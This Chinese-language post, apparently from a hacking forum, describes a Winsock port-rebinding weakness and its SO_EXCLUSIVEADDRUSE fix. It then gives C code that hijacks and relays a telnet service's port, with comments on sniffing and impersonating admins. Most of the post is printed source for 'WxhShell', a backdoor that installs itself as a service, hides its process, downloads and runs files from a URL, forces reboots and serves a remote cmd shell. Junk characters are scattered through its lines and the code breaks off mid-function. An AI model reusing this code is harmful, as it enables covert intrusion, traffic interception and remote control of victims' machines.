在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ao(lj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>TqMb8e_ JO `KNI saddr.sin_family = AF_INET;
ZXR#t?D `43X? yQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lIlmXjL0 g)@d(EYY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UZ"jQJQ n2#Yw}7^,o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e<;^P(g`E 68k 这意味着什么?意味着可以进行如下的攻击:
_,m|gr,S m)aNuQvy:Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
fEB>3hI D<35FD, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!PIpvx{aX |dxcEjcY_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Zoi\r l1h;ng6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s^n}m#T k]<E1 c/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.9Y,N&V<H M#PutrH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|Qe#[Q7 8.'[>VzBL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
q|23l1PI 1JIo,7 #include
:+m8~n$/ #include
8a;I,DK=j #include
mx'!I7b(L/ #include
~fDMzOd DWORD WINAPI ClientThread(LPVOID lpParam);
ba-J-G@YW int main()
>O:31Uk {
wLDWD,"K WORD wVersionRequested;
keBf^NY DWORD ret;
r[TTG0| WSADATA wsaData;
&%ZiI@O- BOOL val;
38[k o3 SOCKADDR_IN saddr;
Imi#$bF6 SOCKADDR_IN scaddr;
;B'5B]A3 int err;
U60jkzIRH SOCKET s;
b"t<B2N SOCKET sc;
u9:+^F+ int caddsize;
P a{)@xT HANDLE mt;
oBm^RHTZ DWORD tid;
Bj ~bsT@a. wVersionRequested = MAKEWORD( 2, 2 );
=ca<..yh[d err = WSAStartup( wVersionRequested, &wsaData );
kbxy^4"X if ( err != 0 ) {
F>0[v|LG printf("error!WSAStartup failed!\n");
*f? z$46 return -1;
~_z"So'|F_ }
#s!q(Rc saddr.sin_family = AF_INET;
XM+o e0:[ epWO}@
b a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/%#LA >|"mhNF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Gl1Qbd0 saddr.sin_port = htons(23);
?3{R'Buv] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
: *~}\M* {
lR^OS*v printf("error!socket failed!\n");
),<E-Ub return -1;
abHW[VP9 }
[Ipg",Su;f val = TRUE;
Xy74D/ocui //SO_REUSEADDR选项就是可以实现端口重绑定的
6evW
O! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hU}!:6G%[P {
@wy&Z printf("error!setsockopt failed!\n");
1;\A./FVv return -1;
jAa{;p"jU }
8fn7! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U%Kv}s/(F{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
h "7:&=e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Myl!tXawe8 >d`XR"_e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
62R94 {
"funFvY ret=GetLastError();
B]`!L/ printf("error!bind failed!\n");
woH B![Q, return -1;
,~R`@5+ }
BVKr 2v listen(s,2);
"5KJ /7q! while(1)
g1je': {
t8"*jt caddsize = sizeof(scaddr);
^1a/)Be{_ //接受连接请求
PY4RwN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ad\?@>[I if(sc!=INVALID_SOCKET)
2 kOFyD
{
-:hiLZJ7- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<K~> :4c if(mt==NULL)
9 >t {
9@Iz:!oqb printf("Thread Creat Failed!\n");
')d&:K*M break;
NF}QQwG3 }
$[L8UUHY<8 }
$`2rtF CloseHandle(mt);
fZ9EE3 }
yj^LX2x" closesocket(s);
-xJ_5 WSACleanup();
KtT.WHr(m return 0;
<Rs#y: }
}~?B>vZS DWORD WINAPI ClientThread(LPVOID lpParam)
u,zA^% {
&=1Ag}l57 SOCKET ss = (SOCKET)lpParam;
qk;vn}auD] SOCKET sc;
-8L22t unsigned char buf[4096];
h>'9-j6B SOCKADDR_IN saddr;
F{:ZHCm long num;
0XrB+nt DWORD val;
Ub0hISA DWORD ret;
!)jw o=l}J //如果是隐藏端口应用的话,可以在此处加一些判断
^w0V{qF{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
61Z#;2] saddr.sin_family = AF_INET;
(M1HNIM;( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4%8}vCs saddr.sin_port = htons(23);
=!axQ[)A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
thoAEG80 {
")/TbTVu printf("error!socket failed!\n");
hX-([o return -1;
vv2N;/;I }
+GgJFBl val = 100;
AL%gqt] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E8TJ*ZU {
U
Hej5-B ret = GetLastError();
yIab3/#` return -1;
9uXu V$. }
IETdL{`~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q P<n< {
Sv*@ 3x ret = GetLastError();
ISQC{K']J return -1;
}Pm>mQZ}, }
-S7PnR6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y8Q96zi {
=h?Q.vad printf("error!socket connect failed!\n");
.Z,3:3,] closesocket(sc);
@%4MFc0`! closesocket(ss);
jpL'y1@Ut return -1;
$jt UQ1 }
,BK6a'1J while(1)
;l^4/BR {
?;{fqeJz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p*11aaIbp~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
:ZP4(} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[x{S ,?6 num = recv(ss,buf,4096,0);
*cjH]MQ0Ak if(num>0)
~c
e?xr| send(sc,buf,num,0);
GVFR^pzO else if(num==0)
h)%}O.ueB break;
vepZod}D num = recv(sc,buf,4096,0);
.g CC$ if(num>0)
x^UE4$oo send(ss,buf,num,0);
E$$pO.\ else if(num==0)
Mo+mO&B break;
y-UutI& }
r]XXN2[jO closesocket(ss);
5e!YYt> closesocket(sc);
@ljvTgZ(X return 0 ;
/ 38b:, }
8
S'g% J 4$^Hr !J34yro+s ==========================================================
Rp~#zt9: =1dU~B:Lm 下边附上一个代码,,WXhSHELL
(BtavE %5X}4k!p ==========================================================
N4 O'{ oB9t&yM #include "stdafx.h"
KFCL|9P S
("Zzq` #include <stdio.h>
.s4hFB^n #include <string.h>
SZOcFmC? #include <windows.h>
UWdPB2x[ #include <winsock2.h>
-Yaw>$nJ #include <winsvc.h>
`={s*^Ta #include <urlmon.h>
0>
pOP #+V5$ #pragma comment (lib, "Ws2_32.lib")
V?g@pnN" #pragma comment (lib, "urlmon.lib")
)"
H$1 Luxo,Ve #define MAX_USER 100 // 最大客户端连接数
32_{nLV$[ #define BUF_SOCK 200 // sock buffer
]w _,0q #define KEY_BUFF 255 // 输入 buffer
Q AJX7 lO/<xSjNd #define REBOOT 0 // 重启
B,SH9, #define SHUTDOWN 1 // 关机
GW]E,a :kycIM]s #define DEF_PORT 5000 // 监听端口
=e7,d$i ZeD""vJRY #define REG_LEN 16 // 注册表键长度
)oO cV% #define SVC_LEN 80 // NT服务名长度
@MfuV4* zcrLd={ // 从dll定义API
{;(X#vK}9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Bp3%*va typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=d/\8\4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"ei*iUBN: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(>qX> CPq{M.B // wxhshell配置信息
<!.'"*2 struct WSCFG {
-b>"2B? int ws_port; // 监听端口
2[&3$-] char ws_passstr[REG_LEN]; // 口令
e^g3J/aU int ws_autoins; // 安装标记, 1=yes 0=no
dhe?7r]u char ws_regname[REG_LEN]; // 注册表键名
9wP_dJvb char ws_svcname[REG_LEN]; // 服务名
$!c)%qDq char ws_svcdisp[SVC_LEN]; // 服务显示名
%Z-^Bu8;y char ws_svcdesc[SVC_LEN]; // 服务描述信息
i2{xW`AcUh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fP`g#t)4Tu int ws_downexe; // 下载执行标记, 1=yes 0=no
/^~3Ib8Fw+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lAsDdxB` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+w Oa ,jWMJ0X/N= };
i/rdPbq IxT[1$e // default Wxhshell configuration
; Xy\7tx struct WSCFG wscfg={DEF_PORT,
uLYz!E+E "xuhuanlingzhe",
e{edI{g 1,
qvz2u]IOw "Wxhshell",
+zxj-diM "Wxhshell",
a^qLyF&F "WxhShell Service",
?45 kN=%*s "Wrsky Windows CmdShell Service",
ScrE tN "Please Input Your Password: ",
! /Z{uy 1,
=
GirUW D "
http://www.wrsky.com/wxhshell.exe",
I__|+%oC "Wxhshell.exe"
ag^L' h$ };
!j8h$+:K 37)Dx // 消息定义模块
qkC+9Sk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w]n20& char *msg_ws_prompt="\n\r? for help\n\r#>";
:.!]+#Me char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
de{KfM`W; char *msg_ws_ext="\n\rExit.";
3 $;6pY char *msg_ws_end="\n\rQuit.";
YV*s1t/ char *msg_ws_boot="\n\rReboot...";
-f0Nb+AR char *msg_ws_poff="\n\rShutdown...";
jR@j+p^e char *msg_ws_down="\n\rSave to ";
X>mY`$!/
P F!S char *msg_ws_err="\n\rErr!";
4l2i'H char *msg_ws_ok="\n\rOK!";
6#XB'PR2p ODK$G
[- char ExeFile[MAX_PATH];
Y:C7S~ int nUser = 0;
OKfJ HANDLE handles[MAX_USER];
8~?3: IZ int OsIsNt;
yc5C`r +6 "Mgx5d SERVICE_STATUS serviceStatus;
b:.aZ7+4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
ZdHfZ3)dB _[-+%RP // 函数声明
IM&2SSmYNH int Install(void);
&Zl$7 int Uninstall(void);
$: "r$7 int DownloadFile(char *sURL, SOCKET wsh);
SU;PmG4 int Boot(int flag);
<v;;:RB6c void HideProc(void);
I*R[8| int GetOsVer(void);
_aVrQ@9 int Wxhshell(SOCKET wsl);
OaU-4
~n; void TalkWithClient(void *cs);
JqTkNKi/s int CmdShell(SOCKET sock);
&P&LjHFK int StartFromService(void);
V6"<lK8" int StartWxhshell(LPSTR lpCmdLine);
#|fa/kb~ vCT5do"C& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
fk)ts,p? VOID WINAPI NTServiceHandler( DWORD fdwControl );
?Y2ZqI ~vnG^y>% // 数据结构和表定义
e2Sm.H ' SERVICE_TABLE_ENTRY DispatchTable[] =
LtKiJ.j?A {
eRQ}`DjTk {wscfg.ws_svcname, NTServiceMain},
7
Xe|P1@) {NULL, NULL}
0Vv6B2< };
trmCIk&Fkj x\r7q // 自我安装
2?ac\c6" int Install(void)
]Mi
~vG
q {
?P[uf char svExeFile[MAX_PATH];
_f$8{&`k HKEY key;
5Jq~EB{" strcpy(svExeFile,ExeFile);
i rMZLc6 w#eD5y~'oo // 如果是win9x系统,修改注册表设为自启动
Y3r m')c if(!OsIsNt) {
D8N}*4S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5Z}]d@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SCE5|3j RegCloseKey(key);
{.$5:<8aC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,wE]:|`qJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8<M'~G%CEq RegCloseKey(key);
mh]'/C_*<w return 0;
?-0k3 }
%)T>Wn%b]v }
;4tVFqR }
+[*VU2f t else {
}\}pSqW |n=m{JX \m // 如果是NT以上系统,安装为系统服务
L<!}!v5ja SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:#58m0YLA: if (schSCManager!=0)
t9SzZ2E {
5bM/
v SC_HANDLE schService = CreateService
Zpg/T K (
X=_pQ+j`^ schSCManager,
wEENN_w wscfg.ws_svcname,
gO%#'Eb2 wscfg.ws_svcdisp,
,ii*[{X? SERVICE_ALL_ACCESS,
C%d\DuJ5'~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
RvKP& SERVICE_AUTO_START,
$A"kHS7T SERVICE_ERROR_NORMAL,
KJ<7aZ svExeFile,
y0cHs|8 NULL,
;NH5
L, NULL,
9Y!N\-x` NULL,
/
pzdX%7 NULL,
S-{[3$ NULL
c^vPd]Ed );
\"B?'Ep; if (schService!=0)
'HTr02riY {
sHD8#t^{ CloseServiceHandle(schService);
u
Jy1 vI CloseServiceHandle(schSCManager);
YO7Y1(` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Wr Ht strcat(svExeFile,wscfg.ws_svcname);
BDSZ ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
){`s&? M0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Kk1 591' RegCloseKey(key);
HQ~`ha. return 0;
%JM:4G|q }
$ysemDq-a\ }
`Bk7W]{L CloseServiceHandle(schSCManager);
R>SS\YC'X }
)I'?]p< }
C( 8i0(1 W[BZ/ return 1;
)=l~XV }
"a))TV%N 6nh!g // 自我卸载
|niYN7 17 int Uninstall(void)
B*7Y5_N {
xgHR;USH HKEY key;
c7Sa|9*dR kcKcIn{ if(!OsIsNt) {
Pe6}y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"*W: RegDeleteValue(key,wscfg.ws_regname);
2^w3xL" RegCloseKey(key);
r!SMF]?SJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Gt&c_gH RegDeleteValue(key,wscfg.ws_regname);
u~n*P``{ RegCloseKey(key);
P'.MwS return 0;
.zQ:u{FT }
)9F-h8
&" }
6yk=4l\ }
51j5AbFQ" else {
)QYg[<e6 )[RLCZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
koOkm:(, if (schSCManager!=0)
$U%M]_ {
r/zuo6"5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0Jz H dz if (schService!=0)
Oxs O {
}a?PBo` if(DeleteService(schService)!=0) {
D\|$!i} CloseServiceHandle(schService);
m=D2|WA8 CloseServiceHandle(schSCManager);
yO*~)ALb+ return 0;
NRu_6~^^ }
mM&Sq;JJ; CloseServiceHandle(schService);
[8|Y2Z\N }
~!UC:&UKo CloseServiceHandle(schSCManager);
Yt&Isi
+ }
hhd%j6 }
' i5 VU4?K `)V1GR2
ES return 1;
-n&g**\w }
e$]` K"u-nroHW // 从指定url下载文件
HT&CbEa4' int DownloadFile(char *sURL, SOCKET wsh)
&
$E[l' {
uQh dg4 HRESULT hr;
X[/>{rK char seps[]= "/";
0VsQ$4'V^ char *token;
?>c*[>LpZ char *file;
x`T char myURL[MAX_PATH];
]<b$k char myFILE[MAX_PATH];
Uytq,3Gj6 sd4eJ strcpy(myURL,sURL);
X`#,*HkK token=strtok(myURL,seps);
oSVo~F while(token!=NULL)
@>`+eg][?P {
<vMna< /d file=token;
K$v
SdpC token=strtok(NULL,seps);
rEz-\jLD~ }
+8qtFog$\g o6`4y^Q{/ GetCurrentDirectory(MAX_PATH,myFILE);
c%1k'Q strcat(myFILE, "\\");
@}[ >*Xy% strcat(myFILE, file);
Mx9#YJ?t~ send(wsh,myFILE,strlen(myFILE),0);
PWeCk2 xH send(wsh,"...",3,0);
,fWQSc\} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;W%nBdE6| if(hr==S_OK)
(NfP2E|B return 0;
tUX4#{)q(j else
ycYT1Sg8 return 1;
2iOn\
^]x 1ocd$)B|} }
TdGda'C >tF3|:\ // 系统电源模块
'Cv,:Q int Boot(int flag)
]0N'Wtbn {
\8j5b+ HANDLE hToken;
q5
eyle6 TOKEN_PRIVILEGES tkp;
#I>
c$dd YywiY).]@ if(OsIsNt) {
WM y97*L< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+*u'vt? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
590.mCm tkp.PrivilegeCount = 1;
3OnIAk3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<JtH/oN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;+v5li if(flag==REBOOT) {
Vb{5 -v
;a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[zXKS| return 0;
VnlgX\$} }
)ph**g else {
L1J \C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/V'^$enK!} return 0;
U@t"o3E }
$DPMi9,7^ }
/|7@rH([{ else {
tW<i;2 l if(flag==REBOOT) {
R7)\wP*l5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5zk<s`h return 0;
E :gS*tsY }
w+A:]SU else {
7D'-^#S5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/#mq*kNIM6 return 0;
`Fn"%P! }
Q`?+w+y7 }
x"g-okLN BdWRm= return 1;
sk'<K5~ }
m7<HK,d dA,irb I0W // win9x进程隐藏模块
%>,B1nt void HideProc(void)
F;
upb5 {
zzlqj){F
JFOto,6L: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:TU|;(p if ( hKernel != NULL )
#+VH]7] {
yf|,/{S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!Cqm=q{K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Wp2W:JX: FreeLibrary(hKernel);
$qz(9M(m# }
-dRnozs6W "n<rP 3y return;
7JC^+rk }
c}XuzgSY 2bJqZ,@ // 获取操作系统版本
^O>G?a int GetOsVer(void)
Th!.=S{Y5 {
T6/d[SH> OSVERSIONINFO winfo;
T >pz/7gb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
( I<]@7> GetVersionEx(&winfo);
$? 'JePC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'*4>&V.yX return 1;
Iw07P2 else
@B.;V=8wJ return 0;
Tbf@qid e }
8(AI|"A"- |aAu4 // 客户端句柄模块
oAnNdo int Wxhshell(SOCKET wsl)
A/bxxB7w {
VV_Zrje SOCKET wsh;
[G.4S5FX.] struct sockaddr_in client;
0<g;g%
DWORD myID;
=D&xw2 8`\^wG$W while(nUser<MAX_USER)
i|`b2msvd {
Sf_q;Ws int nSize=sizeof(client);
_'eG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|)%]MK$; if(wsh==INVALID_SOCKET) return 1;
/6?A#%hc ,s=jtK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
gzHMZ/31 if(handles[nUser]==0)
@M]uUL-ze closesocket(wsh);
$ 12mS else
;Avz%2#c` nUser++;
YwbRzY-#F }
d]3c44kkK{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A$6T) 4=;.< return 0;
XwZ~pY ~ }
Z`FEB0$ '
91-\en0 // 关闭 socket
\>B$x@-wg void CloseIt(SOCKET wsh)
UxGr+q {
*8QESF9 closesocket(wsh);
N }$$<i2o nUser--;
_oV;Y`_ ExitThread(0);
z XI [f }
\hlQu{q. 7g* "AEk // 客户端请求句柄
;8|D4+ void TalkWithClient(void *cs)
$0-}|u]5U {
7@[HRr y_s^dQe SOCKET wsh=(SOCKET)cs;
fX:)mLnO/ char pwd[SVC_LEN];
mYU7b8x_ char cmd[KEY_BUFF];
v?BVUH>#9 char chr[1];
zC@ ziH>{] int i,j;
4t C-msTf A-=B#U F while (nUser < MAX_USER) {
`.MY"g9 9/8#e+L if(wscfg.ws_passstr) {
:Dh\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f *Xum[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r Jo8| //ZeroMemory(pwd,KEY_BUFF);
AZj`o i=0;
U{ZE|b.?b while(i<SVC_LEN) {
r8R]0\ bqo+b{i\ // 设置超时
$0kuR!U.N fd_set FdRead;
qdM=}lbc struct timeval TimeOut;
tQrF A2F FD_ZERO(&FdRead);
.C6wsmQ FD_SET(wsh,&FdRead);
@Cnn8Y&' TimeOut.tv_sec=8;
{OH
@z!+d TimeOut.tv_usec=0;
5B|&+7dCw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
P!6v0ezN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(0wQ [( "e3T;M+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
i 4}4U pwd
=chr[0]; WxLmzSz{xD
if(chr[0]==0xd || chr[0]==0xa) { RJYB=y8l
pwd=0; P"Scs$NOU?
break; bNH72gX2Yh
} tom1u>1n
i++; P' ";L6h
} Zb \E!>V
vU4Gw4
// 如果是非法用户,关闭 socket 0mb|JoE(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tny^sG/'
}
L+=pEk_
\!*3bR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n?UFFi+a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gp l
OI8Hf3d=
while(1) { =do*(
HsF8$C$z
ZeroMemory(cmd,KEY_BUFF); !R
b
~x(1g;!^
// 自动支持客户端 telnet标准 ~.:9~(2;
j=0; Tz`O+fx&
while(j<KEY_BUFF) { k@[P\(a3b
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *X_-8 ^~
cmd[j]=chr[0]; -(Zi
if(chr[0]==0xa || chr[0]==0xd) { #4yh-D"
cmd[j]=0; >`0l"K<
break; Gz_[|,i
} &7fwYV
j++; (G E)
} u|G&CV#r
vqeWt[W
v
// 下载文件 XEUy,>mR
if(strstr(cmd,"http://")) { F2N)|C<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); sy\w ^]
if(DownloadFile(cmd,wsh)) wU"0@^k]<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k2-:!IE
else FFG/v`NM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[j73z'
} 9 rMP"td
else { <[oPh(!V
odPdWV,&*
switch(cmd[0]) { &'mq).I2
eG@0:
// 帮助 Ala~4_" WL
case '?': { +,g"8&>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^xNs^wC.
break; #W]4aZ1
} #A:+|{H"
// 安装 ]N& Y25oT5
case 'i': { #GlQwk3
if(Install()) 5n1aRA1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qf'%".*=~8
else <=yqV]JR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &az
:YTq
break; YF4?3K0F:k
} #s}cK
// 卸载 2w7PwNb*32
case 'r': { #^] v5s
if(Uninstall()) 4PcsU HR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[x$65ND
else _Yms]QEZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }+m")=1{
break; Sc?UjEs
} O:I"<w 9_1
// 显示 wxhshell 所在路径 xMpQPTte
case 'p': { kp$w)%2JW
char svExeFile[MAX_PATH]; (b*PDhl`+
strcpy(svExeFile,"\n\r"); ,$,c<M
strcat(svExeFile,ExeFile); KJs/4oR;
send(wsh,svExeFile,strlen(svExeFile),0); q!O B?03n
break; ]zt77'J
} jG E=7
// 重启 {\P`-'C
case 'b': { %x]8^vze
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h{5K9$9=
if(Boot(REBOOT)) h,!#YG@>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mx]![O.ye
else { C||9u}Q<
closesocket(wsh); A><q-`bw
ExitThread(0); </jzM?i
} zZhA]J
break; c97?+Y^
} Hd8 O3_5
// 关机 eF06B'uL
case 'd': { 70MSP;^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?6#F9\
if(Boot(SHUTDOWN)) rYP72<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;UnJrP-if
else { j}.,|7X
closesocket(wsh); }}Kjb
ExitThread(0); P\nz;}nv
} h;lg^zlTb
break; YTk"'q-
} W[R^5{k`
// 获取shell [d3i_^\
case 's': { nl\l7/}6
CmdShell(wsh); je[1>\3W
closesocket(wsh); h8)m2KrZ!.
ExitThread(0); GI
;
break; xis],.N
} AY
B~{
// 退出 iL6Yk @
case 'x': { ,P.yl~'Al
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $-Yq?:
CloseIt(wsh); q-lejVS(g
break; ?r}'0dW
} YR? ujN
// 离开 bZKlQ<sI
case 'q': { 6]D%|R,Q#}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h@H8oZ[
closesocket(wsh); IHs^t/;Iv
WSACleanup(); F^/b!)4X
exit(1); !Y95e'f.x
break; @L/p
} b rpsZU
} {pR4+g
} ~ 7^#.
xaw)iC[gI{
// 提示信息 |Vj@;+/j
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EG&97lb
} dW4FMm>|
} p "Cxe
R?E< }\!
return; Xk]:]pl4W
} /]@1IC{Lk
Q/2(qD; u
// shell模块句柄 5nA
*'($j
int CmdShell(SOCKET sock) *)|EWT?,
{ IBn+42V
STARTUPINFO si; Hdxon@,+cd
ZeroMemory(&si,sizeof(si)); ~B704i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <{Pr(U*7}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7J6D wh{
PROCESS_INFORMATION ProcessInfo; m(0c|-
char cmdline[]="cmd"; +~{Honj[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vWh]1G#'p[
return 0; u6lcl}'
} 9!u&8#i
=K:)%Qh
// 自身启动模式 ~_GW
int StartFromService(void) t8:QK9|1
{ m~;}8ObQE
typedef struct R<eD)+
{ IJQ"
*;
DWORD ExitStatus; O+w82!<:
DWORD PebBaseAddress; 5 >c,#*
DWORD AffinityMask; xJ(}?0h-X
